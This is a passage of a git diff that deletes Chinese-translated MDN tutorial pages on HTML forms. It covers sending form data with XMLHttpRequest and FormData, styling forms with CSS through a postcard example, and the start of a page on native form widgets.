一共有三种方式来发送表单数据:包括两种传统的方法和一种利用 {{domxref("XMLHttpRequest/FormData","formData")}}对象的新方法.让我们仔细看一下:

- -

构建 XMLHttpRequest

- -

{{domxref("XMLHttpRequest")}} 是进行 HTTP 请求的最安全和最可靠的方式。 要使用{{domxref("XMLHttpRequest")}}发送表单数据,请通过对其进行URL编码来准备数据,并遵守表单数据请求的具体细节。

- -
-

备注:如果想要了解更多关于 XMLHttpRequest 的知识,你可能会对两篇文章感兴趣:An introductory article to AJAX 和更高级点的using XMLHttpRequest.

-
- -

让我们重建之前的这个例子:

- -
<button type="button" onclick="sendData({test:'ok'})">点击我!</button>
- -

正如你所看到的,HTML实际上没什么改变。 不过,JavaScript变得截然不同了:

- -
function sendData(data) {
-  var XHR = new XMLHttpRequest();
-  var urlEncodedData = "";
-  var urlEncodedDataPairs = [];
-  var name;
-
-  // 将数据对象转换为URL编码的键/值对数组。
-  for(name in data) {
-    urlEncodedDataPairs.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]));
-  }
-
-  // 将配对合并为单个字符串,并将所有%编码的空格替换为
-  // “+”字符;匹配浏览器表单提交的行为。
-  urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+');
-
-  // 定义成功数据提交时发生的情况
-  XHR.addEventListener('load', function(event) {
-    alert('耶! 已发送数据并加载响应。');
-  });
-
-  // 定义错误提示
-  XHR.addEventListener('error', function(event) {
-    alert('哎呀!出问题了。');
-  });
-
-  // 建立我们的请求
-  XHR.open('POST', 'https://example.com/cors.php');
-
-  // 为表单数据POST请求添加所需的HTTP头
-  XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-
-  // 最后,发送我们的数据。
-  XHR.send(urlEncodedData);
-}
- -

在线演示:

- -

{{EmbedLiveSample("手动构建XMLHttpRequest", "100%", 50)}}

- -
-

注: 当你想要往第三方网站传输数据时,使用{{domxref("XMLHttpRequest")}}会受到同源策略的影响。如果你需要执行跨域请求,你需要熟悉一下CORS和HTTP访问控制.

-
- -

使用 XMLHttpRequest 和 the FormData object(表单数据对象)

- -

手动建立一个 HTTP 请求非常困难。 幸运的是,最近的 XMLHttpRequest 规范提供了一种方便简单的方法 — 利用{{domxref("XMLHttpRequest/FormData","FormData")}}对象来处理表单数据请求。

- -

{{domxref("XMLHttpRequest/FormData","FormData")}} 对象可以用来构建用于传输的表单数据,或是获取表单元素中的数据来管理它的发送方式。 请注意,{{domxref("XMLHttpRequest/FormData","FormData")}} 对象是“只写”的,这意味着您可以更改它们,但不能检索其内容。

- -

使用这个对象在Using FormData Objects中有详细的介绍,不过这里有两个例子:

- -

使用一个独立的 FormData 对象

- -
<button type="button" onclick="sendData({test:'ok'})">点我!</button>
- -

你应该会觉得那个HTML示例很熟悉。

- -
function sendData(data) {
-  var XHR = new XMLHttpRequest();
-  var FD  = new FormData();
-
-  // 把我们的数据添加到这个FormData对象中
-  for(name in data) {
-    FD.append(name, data[name]);
-  }
-
-  // 定义数据成功发送并返回后执行的操作
-  XHR.addEventListener('load', function(event) {
-    alert('Yeah! 已发送数据并加载响应。');
-  });
-
-  // 定义发生错误时执行的操作
-  XHR.addEventListener('error', function(event) {
-    alert('Oops! 出错了。');
-  });
-
-  // 设置请求地址和方法
-  XHR.open('POST', 'https://example.com/cors.php');
-
-  // 发送这个formData对象,HTTP请求头会自动设置
-  XHR.send(FD);
-}
- -

在线演示:

- -

{{EmbedLiveSample("向FormData对象中手动添加数据", "100%", 50)}}

- -

使用绑定到表单元素上的 FormData

- -

你也可以把一个 FormData 对象绑定到一个 {{HTMLElement("form")}} 元素上。这会创建一个代表表单中包含元素的 FormData

- -

这段HTML是典型的情况:

- -
<form id="myForm">
-  <label for="myName">告诉我你的名字:</label>
-  <input id="myName" name="name" value="John">
-  <input type="submit" value="提交">
-</form>
- -

但是 JavaScript 接管了这个表单:

- -
window.addEventListener("load", function () {
-  function sendData() {
-    var XHR = new XMLHttpRequest();
-
-    // 我们把这个 FormData 和表单元素绑定在一起。
-    var FD  = new FormData(form);
-
-    // 我们定义了数据成功发送时会发生的事。
-    XHR.addEventListener("load", function(event) {
-      alert(event.target.responseText);
-    });
-
-    // 我们定义了失败的情形下会发生的事
-    XHR.addEventListener("error", function(event) {
-      alert('哎呀!出了一些问题。');
-    });
-
-    // 我们设置了我们的请求
-    XHR.open("POST", "https://example.com/cors.php");
-
-    // 发送的数据是由用户在表单中提供的
-    XHR.send(FD);
-  }
-
-  // 我们需要获取表单元素
-  var form = document.getElementById("myForm");
-
-  // ...然后接管表单的提交事件
-  form.addEventListener("submit", function (event) {
-    event.preventDefault();
-
-    sendData();
-  });
-});
- -

在线演示:

- -

{{EmbedLiveSample("使用绑定到表单元素上的_FormData", "100%", 50)}}

- -

你甚至可以通过使用表单的{{domxref("HTMLFormElement.elements", "elements")}} 属性来更多的参与此过程,来得到一个包含表单里所有数据元素的列表,并且逐一手动管理他们。想了解更多,请参阅这里的例子:{{SectionOnPage("/en-US/docs/Web/API/HTMLFormElement.elements", "Accessing the element list's contents")}}

- -

在隐藏的iframe中构建DOM

- -

最古老的异步发送表单数据方法是用 DOM API 构建表单,然后将其数据发送到隐藏的 {{HTMLElement("iframe")}}。 要获得提交的结果,请获取{{HTMLElement("iframe")}}的内容。

- -
-

警告:不要使用这项技术。有第三方服务的安全风险,因为它会使你暴露在 脚本注入攻击 中. 如果你使用 HTTPS,它会影响 同源策略, 这可以使 {{HTMLElement("iframe")}} 内容无法访问。然而,该方法可能是你需要支持很古老的浏览器的唯一选择。

-
- -

下面是个简单的例子:

- -
<button onclick="sendData({test:'ok'})">点击我!</button>
- -

所有操作都在下面这段脚本里:

- -
// 首先创建一个用来发送数据的iframe.
-var iframe = document.createElement("iframe");
-iframe.name = "myTarget";
-
-// 然后,将iframe附加到主文档
-window.addEventListener("load", function () {
-  iframe.style.display = "none";
-  document.body.appendChild(iframe);
-});
-
-// 下面这个函数是真正用来发送数据的.
-// 它只有一个参数,一个由键值对填充的对象.
-function sendData(data) {
-  var name,
-      form = document.createElement("form"),
-      node = document.createElement("input");
-
-  // 定义响应时发生的事件
-  iframe.addEventListener("load", function () {
-    alert("Yeah! Data sent.");
-  });
-
-  form.action = "http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi";
-  form.target = iframe.name;
-
-  for(name in data) {
-    node.name  = name;
-    node.value = data[name].toString();
-    form.appendChild(node.cloneNode());
-  }
-
-  // 表单元素需要附加到主文档中,才可以被发送。
-  form.style.display = "none";
-  document.body.appendChild(form);
-
-  form.submit();
-
-  // 表单提交后,就可以删除这个表单,不影响下次的数据发送。
-  document.body.removeChild(form);
-}
- -

在线演示:

- -

{{EmbedLiveSample("在DOM中构建一个隐藏的iframe", "100%", 50)}}

- -

处理二进制数据

- -

如果你使用一个含有 <input type="file"> 组件的表格的 {{domxref("XMLHttpRequest/FormData","FormData")}} 对象,传给代码的数据会被自动处理。但是要手动发送二进制数据的话,还有额外的工作要做。

- -

在现代网络上,二进制数据有很多来源:例如{{domxref("FileReader")}} API、{{domxref("HTMLCanvasElement","Canvas")}} API、WebRTC API,等等。不幸的是,一些过时的浏览器无法访问二进制数据,或是需要非常复杂的工作环境。这些遗留问题已经超出了本文的涵盖范围。如果你想了解更多关于 FileReader API的知识,参阅:如何在web应用程序中使用文件

- -

在 {{domxref("XMLHttpRequest/FormData","formData")}} 的帮助下,发送二进制数据非常简单,使用 append() 方法就可以了。如果你必须手动进行,那确实会有一些棘手。

- -

在下面的例子中,我们使用了{{domxref("FileReader")}} API来访问二进制数据,然后手动构建多重表单数据请求:

- -
<form id="myForm">
-  <p>
-    <label for="i1">文本数据:</label>
-    <input id="i1" name="myText" value="一些文本数据">
-  </p>
-  <p>
-    <label for="i2">文件数据:</label>
-    <input id="i2" name="myFile" type="file">
-  </p>
-  <button>提交!</button>
-</form>
- -

如你所见,这个 HTML 只是一个标准的 <form>。没有什么神奇的事情发生。“魔法”都在 JavaScript 里:

- -
// 因为我们想获取 DOM 节点,
-// 我们在页面加载时初始化我们的脚本.
-window.addEventListener('load', function () {
-
-  // 这些变量用于存储表单数据
-  var text = document.getElementById("i1");
-  var file = {
-        dom    : document.getElementById("i2"),
-        binary : null
-      };
-
-  // 使用 FileReader API 获取文件内容
-  var reader = new FileReader();
-
-  // 因为 FileReader 是异步的, 会在完成读取文件时存储结果
-  reader.addEventListener("load", function () {
-    file.binary = reader.result;
-  });
-
-  // 页面加载时, 如果一个文件已经被选择, 那么读取该文件.
-  if(file.dom.files[0]) {
-    reader.readAsBinaryString(file.dom.files[0]);
-  }
-
-  // 如果没有被选择,一旦用户选择了它,就读取文件。
-  file.dom.addEventListener("change", function () {
-    if(reader.readyState === FileReader.LOADING) {
-      reader.abort();
-    }
-
-    reader.readAsBinaryString(file.dom.files[0]);
-  });
-
-  // 发送数据是我们需要的主要功能
-  function sendData() {
-    // 如果存在被选择的文件,等待它读取完成
-    // 如果没有, 延迟函数的执行
-    if(!file.binary && file.dom.files.length > 0) {
-      setTimeout(sendData, 10);
-      return;
-    }
-
-    // 要构建我们的多重表单数据请求,
-    // 我们需要一个XMLHttpRequest 实例
-    var XHR = new XMLHttpRequest();
-
-    // 我们需要一个分隔符来定义请求的每一部分。
-    var boundary = "blob";
-
-    // 将我们的主体请求存储于一个字符串中
-    var data = "";
-
-    // 所以,如果用户已经选择了一个文件
-    if (file.dom.files[0]) {
-      // 在请求体中开始新的一部分
-      data += "--" + boundary + "\r\n";
-
-      // 把它描述成表单数据
-      data += 'content-disposition: form-data; '
-      // 定义表单数据的名称
-            + 'name="'         + file.dom.name          + '"; '
-      // 提供文件的真实名字
-            + 'filename="'     + file.dom.files[0].name + '"\r\n';
-      // 和文件的MIME类型
-      data += 'Content-Type: ' + file.dom.files[0].type + '\r\n';
-
-      // 元数据和数据之间有一条空行。
-      data += '\r\n';
-
-      // 将二进制数据添加到主体请求中
-      data += file.binary + '\r\n';
-    }
-
-    // 文本数据更简单一些
-    // 在主体请求中开始一个新的部分
-    data += "--" + boundary + "\r\n";
-
-    // 声明它是表单数据,并命名它
-    data += 'content-disposition: form-data; name="' + text.name + '"\r\n';
-    // 元数据和数据之间有一条空行。
-    data += '\r\n';
-
-    // 添加文本数据到主体请求中
-    data += text.value + "\r\n";
-
-    // 一旦完成,“关闭”主体请求
-    data += "--" + boundary + "--";
-
-    // 定义成功提交数据执行的语句
-    XHR.addEventListener('load', function(event) {
-      alert('✌!数据已发送且响应已加载。');
-    });
-
-    // 定义发生错误时做的事
-    XHR.addEventListener('error', function(event) {
-      alert('哎呀!出现了一些问题。');
-    });
-
-    // 建立请求
-    XHR.open('POST', 'https://example.com/cors.php');
-
-    // 添加需要的HTTP头部来处理多重表单数据POST请求
-    XHR.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
-
-    // 最后,发送数据。
-    XHR.send(data);
-  }
-
-  // 访问表单…
-  var form = document.getElementById("myForm");
-
-  // …接管提交事件
-  form.addEventListener('submit', function (event) {
-    event.preventDefault();
-    sendData();
-  });
-});
- -

在线演示:

- -

{{EmbedLiveSample("发送二进制数据", "100%", 150)}}

- -

总结

- -

取决于不同的浏览器,通过 JavaScript 发送数据可能会很简单,也可能会很困难。{{domxref("XMLHttpRequest/FormData","FormData")}} 对象是通用的答案, 所以请毫不犹豫的在旧浏览器上通过polyfill使用它:

- - - -

{{PreviousMenuNext("Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms")}}

- -

In this module

- - diff --git a/files/zh-cn/learn/html/forms/styling_html_forms/index.html b/files/zh-cn/learn/html/forms/styling_html_forms/index.html deleted file mode 100644 index 26b94e94e8..0000000000 --- a/files/zh-cn/learn/html/forms/styling_html_forms/index.html +++ /dev/null @@ -1,388 +0,0 @@ ---- -title: 样式化 HTML 表单 -slug: Learn/HTML/Forms/Styling_HTML_forms -tags: - - CSS - - Web - - 例子 - - 指导 - - 样式 - - 表单 -translation_of: Learn/Forms/Styling_web_forms ---- -

{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}

- -

在这篇文章中,用户将学习如何使用HTML表单和CSS以使页面更加美观。令人惊讶的是,这可能有点棘手。由于历史和技术的原因,表单部件不能很好地与CSS配合工作。 由于这些困难,许多开发人员选择构建自己的HTML小部件以获得更好的控制和视觉观感。 然而,在现代浏览器中,web设计者越来越多地控制表单元素的设计。让我们深入研究。

- -

为什么使用CSS美化表单组件这么困难?

- -

在1995年左右的Web早期,表单组件(或控件)在 HTML 2规范中被添加到HTML。由于表单组件的复杂性,实现者选择依靠底层操作系统来管理和渲染它们。

- -

若干年后,CSS被创建出来了,那么技术上的必要性,就是使用原生组件来实现表单控制,这是因为风格的要求。在CSS的早期,表单样式控制不是优先事项。

- -

由于用户习惯于各自平台的视觉外观,浏览器厂商不愿意对表单控件样式进行调整;到目前为止,要重建所有控件以使它们可美化仍然是非常困难的。

- -

即使在今天,仍然没有一个浏览器完全实现了CSS 2.1。然而,随着时间的推移,浏览器厂商已经改进了对表单元素的CSS支持,尽管可用性的声誉不好,但现在已经可以使用CSS来设计HTML表单

- -

涉及到CSS,并非所有组件都是平等的

- -

目前,在使用表单时使用CSS仍然有一些困难。这些问题可以分为三类: 

- -

好的

- -

有些元素在跨平台上时很少出现问题。包括以下结构元素:

- -
    -
  1. {{HTMLElement("form")}}
  2. -
  3. {{HTMLElement("fieldset")}}
  4. -
  5. {{HTMLElement("label")}}
  6. -
  7. {{HTMLElement("output")}}
  8. -
- -

这还包括所有文本字段小部件(单行和多行)和按钮。

- -

不好的

- -

一些元素难以被美化,并且可能需要一些复杂的技巧,偶尔需要高级的CSS3知识。

- -

这些包括{{HTMLElement("legend")}}元素,但不能在所有平台上正确定位。 Checkbox和radio按钮也不能直接应用样式,但是,感谢CSS3,你可以解决这个问题。{{htmlattrxref("placeholder", "input")}} 的内容不能以任何标准方式应用样式,但是实现它的所有浏览器也都实现了私有的CSS伪元素或伪类,让你可以对其定义样式。

- -

我们会在如何构建自定义表单挂件一文中讲述如何处理更多特定的问题。

- -

丑陋的

- -

有些元素根本不能用应用CSS样式。 这些包括:所有高级用户界面小部件,如范围,颜色或日期控件; 和所有下拉小部件,包括{{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}}和{{HTMLElement("datalist")}} 元素。 文件选择器小部件也被称为不可样式化。 新的{{HTMLElement("progress")}}和{{HTMLElement("meter")}} 元素也属于这个类别。

- -

所有这些小部件的主要问题来自于它们具有非常复杂的结构,而CSS目前还不足以表达这些小部件的所有细微部分。 如果你想定制这些小部件,你必须依靠JavaScript来构建一个你能够应用样式的DOM树。我们会在 How to build custom form widgets一文中探索如何实现这一点。

- -

基本样式美化

- -

为了使用CSS美化容易被美化的元素,你并不会碰到任何困难,因为它们的大部分行为同其他HTML元素差不多。但是,每个浏览器的用户代理样式表可能会有点不一致,所以有一些技巧可以帮助您更轻松地设计它们。

- -

Search字段

- -

搜索框是唯一一种应用CSS样式有点棘手的文本字段。 在基于WebKit的浏览器(Chrome,Safari等)上,您必须使用-webkit-appearance专有属性来调整它。 我们在文章中进一步讨论这个属性:HTML表单的高级样式

- -

Example

- -
<form>
-  <input type="search">
-</form>
-
- -
input[type=search] {
-  border: 1px dotted #999;
-  border-radius: 0;
-
-  -webkit-appearance: none;
-}
- -

This is a screenshot of a search filed on Chrome, with and without the use of -webkit-appearance

- -

截图中是 Chrome 浏览器中的两个搜索框,在我们的例子中,两个搜索框均被设置为有边框。第一个没有使用-webkit-appearance渲染,而第二个使用了 -webkit-appearance:none. 两者的不同显而易见。

- -

字体和文本

- -

CSS font和text功能能被很容易的应用到任何组件上(当然你可以在form组件上使用{{cssxref("@font-face")}} )。然而,浏览器的行为经常不一致。默认情况下,一些组件不会从它们的父元素继承 {{cssxref("font-family")}}和 {{cssxref("font-size")}} 。相反,许多浏览器使用系统默认的字体和文本。为了让form表单的外观和其他内容保持一致,你可以在你的样式表中增加以下内容:

- -
button, input, select, textarea {
-  font-family : inherit;
-  font-size   : 100%;
-}
- -

下面的截图显示了不同之处; 左边是Mac OS X上Firefox中元素的默认渲染,其中使用了平台的默认字体样式。 在右边是相同的元素,应用了我们的字体统一样式规则。

- -

This is a screenshot of the main form widgets on Firefox on Mac OSX, with and without font harmonization

- -

关于使用系统默认样式的表单还是使用设计用于匹配内容的自定义样式表单,有很多争议。 作为网站或Web应用程序的设计者,您可以自己做出决定。

- -

盒子模型

- -

所有文本字段都完全支持与CSS盒模型相关的每个属性({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}}, 和 {{cssxref("border")}})。 但是,像以前一样,浏览器在显示这些小部件时依赖于系统默认的样式。 您需要定义如何将其融入到您的内容中。 如果你既想保持小部件的原生外观和感觉,又想给他们一个一致的尺寸,那么你会遇到一些困难(如果你想保持组件的原生观感,又想给它们一致的大小,你会面临一些困难)。

- -

这是因为每个小部件都有自己的边框,填充和边距的规则。 所以如果你想给几个不同的小部件相同的大小,你必须使用{{cssxref("box-sizing")}} 属性:

- -
input, textarea, select, button {
-  width : 150px;
-  margin: 0;
-
-  -webkit-box-sizing: border-box; /* For legacy WebKit based browsers */
-     -moz-box-sizing: border-box; /* For legacy (Firefox <29) Gecko based browsers */
-          box-sizing: border-box;
-}
- -

This is a screenshot of the main form widgets on Chrome on Windows 7, with and without the use of box-sizing.

- -

在上面的屏幕截图中,左侧的列没有{{cssxref("box-sizing")}},而右侧的列使用了这个属性和border-box。 请注意我们是怎样确保所有元素都占用相同的空间量,尽管平台对每种窗口小部件都有默认规则。

- -

定位(Positioning)

- -

HTML表单部件的定位通常不是问题; 但是,您应该特别注意两点:

- -

legend

- -

{{HTMLElement("legend")}}元素易于应用CSS,除了定位。在所有浏览器中, {{HTMLElement("legend")}} 元素定位是其 {{HTMLElement("fieldset")}} 父元素的上边框的最顶端。在HTML流中无法改变它的绝对位置,无法让其远离顶部边框。然而,你可以使用 {{cssxref("position")}} 属性将其位置设置为绝对或相对。除此之外,它近几年是fieldset边框的一部分。

- -

由于{{HTMLElement("legend")}}元素对可访问性非常重要,因为它能被无障碍技术作为每个fieldset中的表单元素的标签读出来,它通常与标题配对,并且在无障碍中被隐藏 。例如:

- -
HTML
- -
<fieldset>
-  <legend>Hi!</legend>
-  <h1>Hello</h1>
-</fieldset>
- -
CSS
- -
legend {
-  width: 1px;
-  height: 1px;
-  overflow: hidden;
-}
- -

textarea

- -

默认情况下,所有浏览器都认为{{HTMLElement("textarea")}} 元素是inline block,与文本底线对齐。 这很少是我们真正想看到的。 要将内联(inline-block)块更改为块(block),使用{{cssxref("display")}}属性非常简单。 但是如果你想以inline方式使用它,通常改变垂直对齐方式:

- -
textarea {
-  vertical-align: top;
-}
- -

示例

- -

让我们来看一个样式化 HTML 表单的实际的案例。这有助于理清这里面的许多概念。我们将构建下面的"明信片" 联系人表单:

- -

This is what we want to achieve with HTML and CSS

- -

如果你想继续关注这个例子,复制我们的 postcard-start.html 文件,并遵循接下来的指导操作。

- -

The HTML

- -

HTML 只比我们在 the first article of this guide 中涉及到的多一些;它只有一些额外的 id 和 title。

- -
<form>
-  <h1>to: Mozilla</h1>
-
-  <div id="from">
-    <label for="name">from:</label>
-    <input type="text" id="name" name="user_name">
-  </div>
-
-  <div id="reply">
-    <label for="mail">reply:</label>
-    <input type="email" id="mail" name="user_email">
-  </div>
-
-  <div id="message">
-    <label for="msg">Your message:</label>
-    <textarea id="msg" name="user_message"></textarea>
-  </div>
-
-  <div class="button">
-    <button type="submit">Send your message</button>
-  </div>
-</form>
- -

将上面的代码添加到你 HTML 的 body 中。

- -

组织你的静态文件

- -

好戏要开始了! 在开始写代码之前,我们需要三个额外的静态文件:

- -
    -
  1. 明信片的背景——下载这幅图片,把它和你的 HTML 文件保存在相同目录下。
  2. -
  3. 打字机字体:源自 fontsquirrel.com 的 "Secret Typewriter“ 字体——将TTF文件下载到和上面相同的文件夹里。
  4. -
  5. 手绘字体:源自 fontsquirrel.com 的 The "Journal" 字体  —— 将TTF文件下载到和上面相同的文件夹里。
  6. -
- -

在你开始之前需要对字体做一些处理:

- -
    -
  1. 打开 fontsquirrel 网络字体生成器.
  2. -
  3. 使用表单,上传你的字体文件并生成一个网络字体包,将这个包下载到你的电脑上。
  4. -
  5. 解压提供的 zip 文件。
  6. -
  7. 再解压后的文件内容里你会找到两个  .woff 文件和两个.woff2 文件。将这四个文件拷贝到一个叫 fonts 的文件夹里,而fonts 文件夹位于和上面相同的文件夹里。我们为每种字体使用两个不同的文件以最大限度地保证浏览器兼容性。查看我们的 Web 字体 一文获取更多信息。
  8. -
- -

CSS

- -

现在我们可以深入探究本例的 CSS 了。将下面所有的代码块一个接一个地加到{{htmlelement("style")}} 元素里。

- -

首先,我们要准备一些基础。这需要定义 {{cssxref("@font-face")}} 规则,以及所有的 {{HTMLElement("body")}} 元素和 {{HTMLElement("form")}} 元素基本规则:

- -
@font-face {
-    font-family: 'handwriting';
-    src: url('fonts/journal-webfont.woff2') format('woff2'),
-         url('fonts/journal-webfont.woff') format('woff');
-    font-weight: normal;
-    font-style: normal;
-}
-
-@font-face {
-    font-family: 'typewriter';
-    src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'),
-         url('fonts/veteran_typewriter-webfont.woff') format('woff');
-    font-weight: normal;
-    font-style: normal;
-}
-
-body {
-  font  : 21px sans-serif;
-
-  padding : 2em;
-  margin  : 0;
-
-  background : #222;
-}
-
-form {
-  position: relative;
-
-  width  : 740px;
-  height : 498px;
-  margin : 0 auto;
-
-  background: #FFF url(background.jpg);
-}
- -

现在我们可以定位我们的元素,包括标题和其他表单元素:

- -
h1 {
-  position : absolute;
-  left : 415px;
-  top  : 185px;
-
-  font : 1em "typewriter", sans-serif;
-}
-
-#from {
-  position: absolute;
-  left : 398px;
-  top  : 235px;
-}
-
-#reply {
-  position: absolute;
-  left : 390px;
-  top  : 285px;
-}
-
-#message {
-  position: absolute;
-  left : 20px;
-  top  : 70px;
-}
- -

现在我们开始处理表单元素本身。首先,让我们确保 {{HTMLElement("label")}} 被赋予了正确的字体:

- -
label {
-  font : .8em "typewriter", sans-serif;
-}
- -

文本域需要一些通用的规则,我们只需简单的移除 {{cssxref("border","borders")}} 和 {{cssxref("background","backgrounds")}}, 并重新定义其{{cssxref("padding")}} 和 {{cssxref("margin")}}:

- -
input, textarea {
-  font    : .9em/1.5em "handwriting", sans-serif;
-
-  border  : none;
-  padding : 0 10px;
-  margin  : 0;
-  width   : 240px;
-
-  background: none;
-}
- -

当其中的一个域获得焦点后,我们用浅灰色、半透明的背景高亮它们,注意添加{{cssxref("outline")}} 属性非常重要,这样可以移除由某些浏览器添加的默认高亮效果:

- -
input:focus, textarea:focus {
-  background   : rgba(0,0,0,.1);
-  border-radius: 5px;
-  outline      : none;
-}
- -

现在我们的文本域已经完成了,我们需要调整单行和多行文本域的显示,使其能够匹配,因为通常情况下它们不会以默认的设置而具有一样的外观。

- -

单行文本需要一些调整才能在 Internet Explorer 中渲染良好。Internet Explorer 没有基于字体的自然高度来定义文本域的高度(而这是所有其他浏览器都有的行为)。为了修正这个问题,我们需要给域添加一个确定的高度,像下面这样:

- -
input {
-    height: 2.5em; /* for IE */
-    vertical-align: middle; /* This is optional but it makes legacy IEs look better */
-}
- -

{{HTMLElement("textarea")}} 元素默认地被渲染成一个块级元素。这里有重要地两点是 {{cssxref("resize")}} 和 {{cssxref("overflow")}} 属性。因为我们的设计是一个固定大小的设计,所以我们会使用 resize 属性来防止用户调整我们的多行文本域的大小。{{cssxref("overflow")}} 属性是用来让域在不同的浏览器上渲染得更一致。一些浏览器默认值为 auto,而一些将默认值设为 scroll。在我们得例子中,最好确定每个浏览器都使用 auto

- -
textarea {
-  display : block;
-
-  padding : 10px;
-  margin  : 10px 0 0 -10px;
-  width   : 340px;
-  height  : 360px;
-
-  resize  : none;
-  overflow: auto;
-}
- -

{{HTMLElement("button")}} 元素上使用 CSS 非常方便;你可以做你任何想做得事情,甚至包括使用 伪元素

- -
button {
-  position     : absolute;
-  left         : 440px;
-  top          : 360px;
-
-  padding      : 5px;
-
-  font         : bold .6em sans-serif;
-  border       : 2px solid #333;
-  border-radius: 5px;
-  background   : none;
-
-  cursor       : pointer;
-
--webkit-transform: rotate(-1.5deg);
-   -moz-transform: rotate(-1.5deg);
-    -ms-transform: rotate(-1.5deg);
-     -o-transform: rotate(-1.5deg);
-        transform: rotate(-1.5deg);
-}
-
-button:after {
-  content: " >>>";
-}
-
-button:hover,
-button:focus {
-  outline   : none;
-  background: #000;
-  color   : #FFF;
-}
- -

瞧!

- -
-

注意:如果你的例子没有像你预期的那样工作,你想将它同我们的版本检查对比,你可以在Github 上找到它 —— 查看 在线演示 (也可以查看源代码)。

-
- -

总结

- -

如你所见,若我们想构建只包含文本域和按钮的表单,用 CSS 美化它们非常容易。如果你想要知道更多能够让你的处理表单组件时更轻松的 CSS 小技巧,看一看 normalize.css 项目的表单部分。

- -

下一篇文章中,我们将会看到如何处理落入"不好的" 和"丑陋的" 分类的表单组件。

- -

{{PreviousMenuNext("Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}

- -

在本单元中

- - diff --git a/files/zh-cn/learn/html/forms/the_native_form_widgets/index.html b/files/zh-cn/learn/html/forms/the_native_form_widgets/index.html deleted file mode 100644 index 8ef67a2f7a..0000000000 --- a/files/zh-cn/learn/html/forms/the_native_form_widgets/index.html +++ /dev/null @@ -1,683 +0,0 @@ ---- -title: 原生表单部件 -slug: Learn/HTML/Forms/The_native_form_widgets -translation_of: Learn/Forms/Basic_native_form_controls ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}
- -

现在,我们将详细研究不同表单部件的功能,查看了哪些选项可用于收集不同类型的数据。这个指南有些详尽,涵盖了所有可用的原生表单小部件。

- - - - - - - - - - - - -
预备知识:计算机基础知识和对于HTML的基本理解
目标:要了解在浏览器中可以使用什么类型的原生表单小部件来收集数据,以及如何使用HTML实现它们。
- -

这里我们将关注浏览器内置的表单部件,但是因为HTML表单仍然相当有限并且实现的特性在不同的浏览器中可能是相当不同的,web开发人员有时会建立自己的表单部件——关于这个的更多想法,参见本模块后面的如何构建自定义表单部件

- -
-

译者注:widget在本页面中被统一翻译为部件,但在其他地方可能也被译为组件。

-
- -
-

注意:本文中讨论的大多数特性都在浏览器中得到了广泛的支持;我们会注意到例外的情况。如果您想要更准确的细节,您应该参考我们的HTML表单元素参考,特别是我们的广泛的 <input>类型参考。

-
- -

通用属性

- -

大部分用来定义表单小部件的元素都有一些他们自己的属性。然而,在所有表单元素中都有一组通用属性,它们可以对这些小部件进行控制。下面是这些通用属性的列表:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性名称默认值描述
autofocus(false)这个布尔属性允许您指定当页面加载时元素应该自动具有输入焦点,除非用户覆盖它,例如通过键入不同的控件。文档中只有一个与表单相关的元素可以指定这个属性。
disabled(false) -

这个布尔属性表示用户不能与元素交互。如果没有指定这个属性,元素将从包含它的元素继承设置,例如{{HTMLElement("fieldset")}};如果没有包含在设定了disabled属性的元素里,那么这个元素就是可用的。

-
form -

小部件与之相关联的表单元素。属性值必需是同个文档中的{{HTMLElement("form")}} 元素的 id属性。理论上,它允许您在{{HTMLElement("form")}}元素之外设置一个表单小部件。然而,在实践中,没有任何支持该特性的浏览器。

-
name元素的名称;这是跟表单数据一起提交的。
value元素的初始值。
- -

文本输入框

- -

文本输入框 {{htmlelement("input")}} 是最基本的表单小部件。 这是一种非常方便的方式,可以让用户输入任何类型的数据。但是,一些文本字段可以专门用于满足特定的需求。我们已经看到了几个简单的例子。

- -
-

注意: HTML表单文本字段是简单的纯文本输入控件。 这意味着您不能使用它们执行富文本编辑(粗体、斜体等)。你遇到的所有富文本编辑器(rich text editors)都是使用HTML、CSS和JavaScript所创建的自定义小部件。

-
- -

所有文本框都有一些通用规范:

- - - -
-

注意:  {{htmlelement("input")}}元素是如此特别因为它几乎可以是任何东西。通过简单设置 type 属性,它可以彻底的改变,它用于创建大多数类型的表单小部件,包括单行文本字段、没有文本输入的控件、时间和日期控件和按钮。 然而,也有一些例外,比如用来多行输入的 {{htmlelement("textarea")}}。阅读这篇文章时,要注意这些。

-
- -

单行文本框

- -

使用{{htmlattrxref("type","input")}}属性值被设置为text 的{{HTMLElement("input")}}元素创建一个单行文本框(同样的,如果你不提供{{htmlattrxref("type","input")}}属性,text 是默认值)。在你指定的{{htmlattrxref("type","input")}}属性的值在浏览器中是未知的情况下(比如你指定 type="date",但是浏览器不支持原生日期选择器),属性值text也是备用值。

- -
-

注意: 你可以在Github上的 single-line-text-fields.html找到所有单行文本框类型。(你也可以直接看预览版)。

-
- -

这是一个基本的单行文本框示例:

- -
<input type="text" id="comment" name="comment" value="I'm a text field">
- -

单行文本框只有一个真正的约束:如果您输入带有换行符的文本,浏览器会在发送数据之前删除这些换行符。

- -

Screenshots of single line text fields on several platforms.

- -

HTML5通过为{{htmlattrxref("type","input")}}属性增加特殊值增强了基本单行文本框。这些值仍然将{{HTMLElement("input")}}元素转换为单行文本框,但它们为字段添加了一些额外的约束和特性。

- -

E-mail 地址框

- -

该类型的框将 {{htmlattrxref("type","input")}}属性设置为  email 值:

- -
<input type="email" id="email" name="email" multiple>
- -

